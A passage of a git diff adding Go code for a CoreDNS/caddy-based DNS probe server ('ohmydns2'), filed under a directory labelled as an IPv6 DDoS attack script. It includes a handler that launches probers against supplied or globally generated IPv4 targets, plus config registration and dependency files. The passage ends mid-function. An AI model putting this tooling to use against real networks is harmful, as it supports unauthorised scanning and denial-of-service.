if ps.stacktrace { + olog.Errorf("Recovered from panic in server: %q %v\n%s", ps.Addr, rec, string(debug.Stack())) + } else { + olog.Errorf("Recovered from panic in server: %q %v", ps.Addr, rec) + } + vars.Panic.Inc() + errorAndMetricsFunc(ps.Addr, w, "ProbeServer-ServeHTTP-Error", http.StatusInternalServerError) + } + }() + } + + // Wrap the response writer in a ScrubWriter so we automatically make the reply fit in the client's buffer. + //w = request.NewScrubWriter(r, w) + + // 获取请求参数 + param, _ := ohttp.ParseRequest(req) + + //// 用于探测的客户端(启用,嵌入prober结构体中) + //c := new(dns.Client) + + pcf := ps.conf + if pcf.PluginChain == nil { // can not get any plugins + errorAndMetricsFunc(ps.Addr, w, "探测器缺少插件链", http.StatusNotImplemented) + return errors.New("探测器缺少插件链"), "探测器缺少插件链" + } + if pcf.MetaCollector != nil { + // Collect metadata now, so it can be used before we send a request down the plugin chain. + ctx = pcf.MetaCollector.Collect(ctx, request.HTTPRequest{Req: req, W: w}) + } + // 生成目标,开始探测 + targets, targetNum := getTarget(param[rangeParam]) + + // 将探测配置添加到上下文中 + ctx = context.WithValue(ctx, prober.PAddrNum, targetNum) + ctx = context.WithValue(ctx, prober.Pchain, ps.conf) + + // 创建并开始执行任务,返回探测器id + proberid := ps.proberlist.AddProber(ctx, targets) + + // 都不匹配,尝试利用“.”指向的服务块 + //if z, ok := ps.zones["."]; ok { + // + // for _, h := range z { + // if h.pluginChain == nil { + // continue + // } + // + // if h.metaCollector != nil { + // // Collect metadata now, so it can be used before we send a request down the plugin chain. + // ctx = h.metaCollector.Collect(ctx, request.HTTPRequest{Req: req, W: w}) + // } + // + // // If all filter funcs pass, use this config. + // if passAllFilterFuncs(ctx, h.FilterFuncs, &request.HTTPRequest{Req: req, W: w}) { + // if h.ViewName != "" { + // // if there was a view defined for this Config, set the view name in the context + // ctx = context.WithValue(ctx, ViewKey{}, h.ViewName) + // } + // rcode, _ := h.pluginChain.ProbeDNS(ctx, c, msg) + // if !plugin.ClientWrite(rcode) { + // errorAndMetricsFunc(ps.Addr, w, " . --"+h.pluginChain.Name()+"错误", rcode) + // } + // return + // } + // } + //} + + return nil, "成功创建探测器:" + proberid +} + +// passAllFilterFuncs returns true if all filter funcs evaluate to true for the given request +func passAllFilterFuncs(ctx context.Context, filterFuncs []prober.FilterFunc, req *request.HTTPRequest) bool { + for _, ff := range filterFuncs { + if !ff(ctx, req) { + return false + } + } + return true +} + +// OnStartupComplete lists the sites served by this server +// and any relevant information, assuming Quiet is false. +func (ps *ProbeServer) OnStartupComplete() { + if Quiet { + return + } + + out := startUpZones(transport.PROBER+"://", ps.Addr) + if out != "" { + fmt.Print(out) + } +} + +// Tracer returns the tracer in the server if defined. +func (ps *ProbeServer) Tracer() ot.Tracer { + if ps.trace == nil { + return nil + } + + return ps.trace.Tracer() +} + +// errorAndMetricsFunc 通过HTTP返回错误信息,并记录到Metrics中 +func errorAndMetricsFunc(server string, w http.ResponseWriter, rs string, rc int) { + defer vars.HTTPResponsesCount.WithLabelValues(server, http.StatusText(rc)).Inc() + w.WriteHeader(rc) + r := &response{Code: http.StatusInternalServerError, Msg: rs} + msg, _ := json.Marshal(r) + w.Write(msg) + return + +} + +// 输入目标地址数据集,返回IP管道和目标地址数量, +func getTarget(s []string) (chan net.IP, int) { + if s[0] == globalRange { + // 全球探测 + return prober.GenGlobIPv4(), 0 + } + // 局部探测 + ipchan := make(chan net.IP, 100) + go func() { + defer close(ipchan) + for _, v := range s { + ipchan <- net.ParseIP(v) + } + }() + return ipchan, len(s) +} + +type ( + // Key is the context key for the current server added to the context. + Key struct{} + + // LoopKey is the context key to detect server wide loops. + LoopKey struct{} + + // ViewKey is the context key for the current view, if defined + ViewKey struct{} +) + +// EnableChaos is a map with plugin names for which we should open CH class queries as we block these by default. +var EnableChaos = map[string]struct{}{ + "chaos": {}, + "forward": {}, + "proxy": {}, +} + +// Quiet mode will not show any informative output on initialization. +var Quiet bool diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/register.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/register.go" new file mode 100644 index 0000000..f20bd02 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/prober/register.go" @@ -0,0 +1,209 @@ +package prober + +import ( + "github.com/coredns/caddy" + "github.com/coredns/caddy/caddyfile" + "net" + "ohmydns2/core/dnsserver" + "ohmydns2/plugin" + "ohmydns2/plugin/pkg/parse" + "ohmydns2/plugin/pkg/prober" + "ohmydns2/plugin/pkg/transport" +) + +const proberType = "dnsprober" + +func init() { + caddy.RegisterServerType(proberType, caddy.ServerType{ + Directives: func() []string { return Directives }, + DefaultInput: func() caddy.Input { + return caddy.CaddyfileInput{ + Filepath: "Ohmyfile", + Contents: []byte("probe://:" + Port + " {\nprober_show\nlog\n}\n"), + ServerTypeName: proberType, + } + }, + NewContext: newPBContext, + }) +} + +func newPBContext(*caddy.Instance) caddy.Context { + return &ProbeContext{keysToConfigs: make(map[string]*prober.PBConfig)} +} + +type ProbeContext struct { + keysToConfigs map[string]*prober.PBConfig + + // configs is the master list of all site configs. + configs []*prober.PBConfig +} + +func (p *ProbeContext) saveConfig(key string, cfg *prober.PBConfig) { + p.configs = append(p.configs, cfg) + p.keysToConfigs[key] = cfg +} + +// Compile-time check to ensure dnsContext implements the caddy.Context interface +var _ caddy.Context = &ProbeContext{} + +// InspectServerBlocks make sure that everything checks out before +// executing directives and otherwise prepares the directives to +// be parsed and executed. +func (p *ProbeContext) InspectServerBlocks(_ string, serverBlocks []caddyfile.ServerBlock) ([]caddyfile.ServerBlock, error) { + // Normalize and check all the zone names and check for duplicates + for ib, s := range serverBlocks { + Addrs := []addr{} + // 每一个服务块的zone部分 + for ik, k := range s.Keys { + trans, k1 := parse.Transport(k) // get rid of any dns:// or other scheme. + // 不属于探测端的服务块不解析 + if trans != transport.PROBER { + continue + } + port, err := plugin.SplitPort(k1) + + if err != nil { + return nil, err + } + s.Keys[ik] = port + Addrs = append(Addrs, addr{Port: port, Transport: transport.PROBERTRAN}) + } + + serverBlocks[ib].Keys = s.Keys // important to save back the new keys that are potentially created here. + + var firstConfigInBlock *prober.PBConfig + + for ik := range s.Keys { + a := Addrs[ik] + s.Keys[ik] = a.String() + // Save the config to our master list, and key it for lookups. + cfg := &prober.PBConfig{ + ListenHosts: []string{""}, + Port: a.Port, + Transport: a.Transport, + } + + // Set reference to the first config in the current block. + // This is used later by MakeServers to share a single plugin list + // for all zones in a server block. + if ik == 0 { + firstConfigInBlock = cfg + } + cfg.FirstConfigInBlock = firstConfigInBlock + + keyConfig := prober.KeyForConfig(ib, ik) + p.saveConfig(keyConfig, cfg) + } + } + return serverBlocks, nil +} + +// MakeServers uses the newly-created siteConfigs to create and return a list of server instances. +func (p *ProbeContext) MakeServers() ([]caddy.Server, error) { + // Copy the Plugin, ListenHosts and Debug from first config in the block + // to all other config in the same block . Doing this results in zones + // sharing the same plugin instances and settings as other zones in + // the same block. + for _, c := range p.configs { + c.Plugin = c.FirstConfigInBlock.Plugin + c.ListenHosts = c.FirstConfigInBlock.ListenHosts + c.Debug = c.FirstConfigInBlock.Debug + c.Stacktrace = c.FirstConfigInBlock.Stacktrace + + // Fork TLSConfig for each encrypted connection + c.TLSConfig = c.FirstConfigInBlock.TLSConfig.Clone() + c.ReadTimeout = c.FirstConfigInBlock.ReadTimeout + c.WriteTimeout = c.FirstConfigInBlock.WriteTimeout + c.IdleTimeout = c.FirstConfigInBlock.IdleTimeout + c.TsigSecret = c.FirstConfigInBlock.TsigSecret + } + + // we must map (group) each config to a bind address + groups, err := groupConfigsByListenPort(p.configs) + if err != nil { + return nil, err + } + // then we create a server for each group + var servers []caddy.Server + for protaddr, group := range groups { + // switch on addr + switch tr, _ := parse.Transport(transport.PROBER + protaddr[len(transport.PROBERTRAN):]); tr { + case transport.PROBER: + s, e := NewProberHTTP(protaddr, group) + if e != nil { + return nil, err + } + servers = append(servers, s) + } + } + + //// For each server config, check for View Filter plugins + //for _, c := range p.configs { + // // Add filters in the plugin.cfg order for consistent filter func evaluation order. + // for _, d := range Directives { + // if vf, ok := c.registry[d].(Viewer); ok { + // if c.ViewName != "" { + // return nil, fmt.Errorf("multiple views defined in server block") + // } + // c.ViewName = vf.ViewName() + // c.FilterFuncs = append(c.FilterFuncs, vf.Filter) + // } + // } + //} + + // Verify that there is no overlap on the zones and listen addresses + // for unfiltered server configs + //errValid := p.validateZonesAndListeningAddresses() + //if errValid != nil { + // return nil, errValid + //} + + return servers, nil +} + +// GetConfig gets the Config that corresponds to c. +// If none exist nil is returned. +func GetPBConfig(c *caddy.Controller) *prober.PBConfig { + ctx := c.Context().(*ProbeContext) + key := prober.KeyForConfig(c.ServerBlockIndex, c.ServerBlockKeyIndex) + if cfg, ok := ctx.keysToConfigs[key]; ok { + return cfg + } + // we should only get here during tests because directive + // actions typically skip the server blocks where we make + // the configs. + ctx.saveConfig(key, &prober.PBConfig{ListenHosts: []string{""}}) + return GetPBConfig(c) +} + +// groupConfigsByListenPort 建立监听端口和配置文件之间的映射,与服务端不同的是,一个监听地址端口只对应一个配置文件 +func groupConfigsByListenPort(configs []*prober.PBConfig) (map[string]*prober.PBConfig, error) { + groups := make(map[string]*prober.PBConfig) + for _, conf := range configs { + for _, h := range conf.ListenHosts { + tcpaddr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(h, conf.Port)) + if err != nil { + return nil, err + } + addrstr := conf.Transport + "://" + tcpaddr.String() + groups[addrstr] = conf + } + } + + return groups, nil +} + +// DefaultPort is the default port. +const DefaultPort = transport.PROBERPort + +// These "soft defaults" are configurable by +// command line flags, etc. +var ( + // Port is the port we listen on by default. + Port = DefaultPort + + // GracefulTimeout is the maximum duration of a graceful shutdown. + //GracefulTimeout time.Duration +) + +var _ caddy.GracefulServer = new(dnsserver.Server) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.mod" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.mod" new file mode 100644 index 0000000..e2f7562 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.mod" @@ -0,0 +1,36 @@ +module ohmydns2 + +go 1.20 + +require ( + github.com/apparentlymart/go-cidr v1.1.0 + github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 + github.com/coredns/caddy v1.1.1 + github.com/dnstap/golang-dnstap v0.4.0 + github.com/farsightsec/golang-framestream v0.3.0 + github.com/miekg/dns v1.1.54 + github.com/opentracing/opentracing-go v1.2.0 + github.com/panjf2000/ants/v2 v2.8.1 + github.com/pochard/commons v1.1.2 + github.com/prometheus/client_golang v1.15.1 + github.com/thanhpk/randstr v1.0.6 + golang.org/x/sys v0.10.0 + google.golang.org/grpc v1.55.0 + google.golang.org/protobuf v1.30.0 +) + +require ( + github.com/beorn7/perks v1.0.1 // indirect + github.com/cespare/xxhash/v2 v2.2.0 // indirect + github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 // indirect + github.com/golang/protobuf v1.5.3 // indirect + github.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect + github.com/prometheus/client_model v0.3.0 // indirect + github.com/prometheus/common v0.42.0 // indirect + github.com/prometheus/procfs v0.9.0 // indirect + golang.org/x/mod v0.12.0 // indirect + golang.org/x/net v0.12.0 // indirect + golang.org/x/text v0.11.0 // indirect + golang.org/x/tools v0.11.0 // indirect + google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect +) diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.sum" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.sum" new file mode 100644 index 0000000..ef85dfa --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.sum" @@ -0,0 +1,111 @@ +github.com/apparentlymart/go-cidr v1.1.0 h1:2mAhrMoF+nhXqxTzSZMUzDHkLjmIHC+Zzn4tdgBZjnU= +github.com/apparentlymart/go-cidr v1.1.0/go.mod h1:EBcsNrHc3zQeuaeCeCtQruQm+n9/YjEn/vI25Lg7Gwc= +github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so= +github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= +github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= +github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= +github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/coredns/caddy v1.1.1 h1:2eYKZT7i6yxIfGP3qLJoJ7HAsDJqYB+X68g4NYjSrE0= +github.com/coredns/caddy v1.1.1/go.mod h1:A6ntJQlAWuQfFlsd9hvigKbo2WS0VUs2l1e2F+BawD4= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dnstap/golang-dnstap v0.4.0 h1:KRHBoURygdGtBjDI2w4HifJfMAhhOqDuktAokaSa234= +github.com/dnstap/golang-dnstap v0.4.0/go.mod h1:FqsSdH58NAmkAvKcpyxht7i4FoBjKu8E4JUPt8ipSUs= +github.com/farsightsec/golang-framestream v0.3.0 h1:/spFQHucTle/ZIPkYqrfshQqPe2VQEzesH243TjIwqA= +github.com/farsightsec/golang-framestream v0.3.0/go.mod h1:eNde4IQyEiA5br02AouhEHCu3p3UzrCdFR4LuQHklMI= +github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ= +github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= +github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/matttproud/golang_protobuf_extensions v1.0.4 h1:mmDVorXM7PCGKw94cs5zkfA9PSy5pEvNWRP0ET0TIVo= +github.com/matttproud/golang_protobuf_extensions v1.0.4/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4= +github.com/miekg/dns v1.1.31/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM= +github.com/miekg/dns v1.1.54 h1:5jon9mWcb0sFJGpnI99tOMhCPyJ+RPVz5b63MQG0VWI= +github.com/miekg/dns v1.1.54/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY= +github.com/opentracing/opentracing-go v1.2.0 h1:uEJPy/1a5RIPAJ0Ov+OIO8OxWu77jEv+1B0VhjKrZUs= +github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYrxe9dPLANfrWvHYVTgc= +github.com/panjf2000/ants/v2 v2.8.1 h1:C+n/f++aiW8kHCExKlpX6X+okmxKXP7DWLutxuAPuwQ= +github.com/panjf2000/ants/v2 v2.8.1/go.mod h1:KIBmYG9QQX5U2qzFP/yQJaq/nSb6rahS9iEHkrCMgM8= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/pochard/commons v1.1.2 h1:65SlPrtLqJgCboQitD72Wrdw7xsGJ2wD6HS1hUpk6pc= +github.com/pochard/commons v1.1.2/go.mod h1:HzXF3rNqu78SkHDx4IY+jp/SqSnkwT/OHjSrlqoitgI= +github.com/prometheus/client_golang v1.15.1 h1:8tXpTmJbyH5lydzFPoxSIJ0J46jdh3tylbvM1xCv0LI= +github.com/prometheus/client_golang v1.15.1/go.mod h1:e9yaBhRPU2pPNsZwE+JdQl0KEt1N9XgF6zxWmaC0xOk= +github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4= +github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w= +github.com/prometheus/common v0.42.0 h1:EKsfXEYo4JpWMHH5cg+KOUWeuJSov1Id8zGR8eeI1YM= +github.com/prometheus/common v0.42.0/go.mod h1:xBwqVerjNdUDjgODMpudtOMwlOwf2SaTr1yjz4b7Zbc= +github.com/prometheus/procfs v0.9.0 h1:wzCHvIvM5SxWqYvwgVL7yJY8Lz3PKn49KQtpgMYJfhI= +github.com/prometheus/procfs v0.9.0/go.mod h1:+pB4zwohETzFnmlpe6yd2lSc+0/46IYZRB/chUwxUZY= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o= +github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc= +golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.12.0 h1:cfawfvKITfUsFCeJIHJrbSxpeu/E81khclypR0GVT50= +golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= +golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= +golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4= +golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.11.0 h1:EMCa6U9S2LtZXLAMoWiR/R8dAQFRqbAitmbJ2UKhoi8= +golang.org/x/tools v0.11.0/go.mod h1:anzJrxPjNtfgiYQYirP2CPGzGLxrH2u2QBhn6Bf3qY8= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 h1:DdoeryqhaXp1LtT/emMP1BRJPHHKFi5akj/nbx/zNTA= +google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= +google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag= +google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= +google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/run.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/run.go" new file mode 100644 index 0000000..6639881 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/run.go" @@ -0,0 +1,187 @@ +package ohmain + +import ( + "flag" + "fmt" + "log" + "ohmydns2/core/dnsserver" + "os" + "path/filepath" + "runtime" + "strings" + + "github.com/coredns/caddy" +) + +func init() { + caddy.DefaultConfigFile = "Ohmyfile" + caddy.Quiet = true // don't show init stuff from caddy + setVersion() + + flag.StringVar(&conf, "conf", "", "Ohmyfile to load (default \""+caddy.DefaultConfigFile+"\")") + flag.BoolVar(&plugins, "plugins", false, "List installed plugins") + flag.StringVar(&caddy.PidFile, "pidfile", "", "Path to write pid file") + flag.BoolVar(&version, "version", false, "Show version") + flag.BoolVar(&dnsserver.Quiet, "quiet", false, "Quiet mode (no initialization output)") + + caddy.RegisterCaddyfileLoader("flag", caddy.LoaderFunc(confLoader)) + caddy.SetDefaultCaddyfileLoader("default", caddy.LoaderFunc(defaultLoader)) + + //flag.StringVar(&prober.Port, serverType+".port", prober.DefaultPort, "Default port") + //flag.StringVar(&prober.Port, "p", prober.DefaultPort, "Default port") + + caddy.AppName = ohmyName + caddy.AppVersion = OMVersion +} + +// ohmydns主函数 +func Run() { + caddy.TrapSignals() + flag.Parse() + + if len(flag.Args()) > 0 { + 